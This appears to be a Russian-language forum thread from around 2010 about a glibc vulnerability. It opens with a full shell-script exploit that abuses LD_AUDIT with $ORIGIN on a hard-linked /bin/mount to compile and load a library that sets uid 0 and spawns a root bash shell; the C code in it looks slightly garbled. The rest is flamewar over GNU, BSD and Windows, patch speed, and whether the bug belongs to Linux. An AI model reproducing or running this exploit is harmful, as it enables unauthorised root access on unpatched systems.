Погнутое ПО не только гнётся

Ivan8209

Но ещё и ломается:

#!/bin/sh

# http://seclists.org/fulldisclosure/2010/Oct/257
# scripted by r3pl4c3d ;D

X=/tmp/x

rm -rf ${X}
mkdir ${X}
ln /bin/mount ${X}/t
exec 3< ${X}/t
cat > pl.c <<EOF
void __attribute__constructor init
{
setuid(0);
system("/bin/bash");
}
EOF
rm -rf ${X}
gcc -w -fPIC -shared -o ${X} pl.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

---
"Debian: You can never be sure."

shdenis

не гнутое никогда не ломается?

elenangel

а можно теперь перевод для обычных людей?

shdenis

это очередной баг нашли в одном из гну проектов.
http://www.opennet.ru/opennews/art.shtml?num=28338

yroslavasako

всё уже давно обсудили в альте

Ivan8209

Не с такой завидной периодичностью и не настолько эпично.
---
"Debian: You can never be sure."

Sharp

Не с такой завидной периодичностью и не настолько эпично.
Я отчетливо представляю себе, как оргазмирует на эту новость, нежно поглаживая себе по негнущемуся NetBSD. Поэтому предлагаю данный тред перенести в Love&Sex.

shdenis

если не секрет, то как ты оценил частоту и эпичность?

vall

http://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-secu...
бздуны тоже недавно обосрались :grin:

nas1234

винда рулит!

apl13

[:|||||||||||||||||||:]

apl13

Нельзя.

apl13

Изыди!

nas1234

:fkr:

yolki



lkb /tmp $ mkdir X
lkb /tmp $ ln /bin/mount /tmp/X/t
lkb /tmp $ exec 3< /tmp/X/t
-bash: /tmp/X/t: Отказано в доступе
lkb /tmp $



:confused:

Ivan8209

> http://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-secu...
И это было исправлено везде в течение суток:

1.127 (christos 02-Dec-09): if (unsetenv("LD_PRELOAD"
1.127 (christos 02-Dec-09): _rtld_die;

Более того, это не является бездумным игнорированием стандарта,
что мы сейчас имеем удовольствие наблюдать в глибце.
Для сравнения приведи время, потраченное на исправление ошибки в OpenSSL.
---
"Debian: You can never be sure."

yolki

прикольно, ч0.
у меня на всех системах как-то автомагически все suid проги стоят с og-r, так что скормить их на вход не удастся. так-то!

vall

и чо? быстрозаткнутое дырой не является?

Ivan8209

Есть разница между ошибкой кодирования и намеренным нарушением
стандарта, учитывающего вопрос безопасности.
Есть разница между исправлением ошибки в течение суток и
трёхсуточной героической эпопеей по исправлению ошибки,
которую сами же и посадили в исходно правильный код.
Ошибки делают все, вот только не все делают их намеренно
игнорируя стандарты, где они есть.
---
"Debian: You can never be sure."

dangerr

Уязвимость в библиотеке glibc, а не в ядре Linux.

elenangel

там дальше по треду эта уязвимость тоже обсуждается

serega1604

>И это было исправлено везде в течение суток:
а эта "узявимость" нигде кроме красношапок не работает, и, как ни странно, её в красношапке исправили за 3 часа.

kotenok1710

Я понял! SerW твоя вырожденная Виндовс версия

dangerr

Я понял, но тем не менее она к ядру Linux никакого отношения не имеет.

yroslavasako

Присоединяйся к партии упоротых. Один вот срётся со всеми и вся, что в alt.H&S.Linux нельзя обсуждать другие юникс-подобные оси, и искренне огорчается, когда находит там обсуждение бзди, превращая любой топик в несколько страниц обсуждений на тему является ли бздя линуксом, не нужно ли бзде отдельный раздел, и с чего вообще народ взял, что в альте про линукс им расскажут про бздю.
Ты на него похож в том плане, что обсуждение glibc в разделе Linux тоже считаешь оффтопиком, поскольку линукс строго говоря является только ядром, и проблемы GNU/Linux окружения к нему не относятся. Так вот можешь считать Linux - локальным мемом флокала, обозначающим различные POSIX совместимые операционки и дистирубтивы.

YUAL

если бы сдесь был пенартур, то он бы сказал "а с чего ты решил что винда не POSIX совместима?"

apl13

Так вот можешь считать Linux - локальным мемом флокала, обозначающим различные POSIX совместимые операционки и дистирубтивы.
Вообще, это контекстно-зависимое понятие. Например, в контексте треда линуксом является любая ОС, уязвимая к обсуждаемой баге.
И вообще, вопрос: если я собрал музыкальную студию, где джек, если понадобится ASIO, pd для лайва, LinuxSampler для семплов, Audacity с LADSPA-эффектами для рекорда и монтажа, sox ( :p ) для скриптов, написанных на баше, и LMMS для быдлосеквенсинга (в т. ч. ZynAddSubFX для падов и вообще атмосферного синтеза но работает все это зачем-то на винде, можно ли такую винду считать линуксом?

apl13

А она POSIX-совместима. Но за пределами A.H&S.L этот аспект упоминается только пенартурами для возражения против синонимичности POSIX и Linux.
Оставить комментарий
Имя или ник:
Комментарий: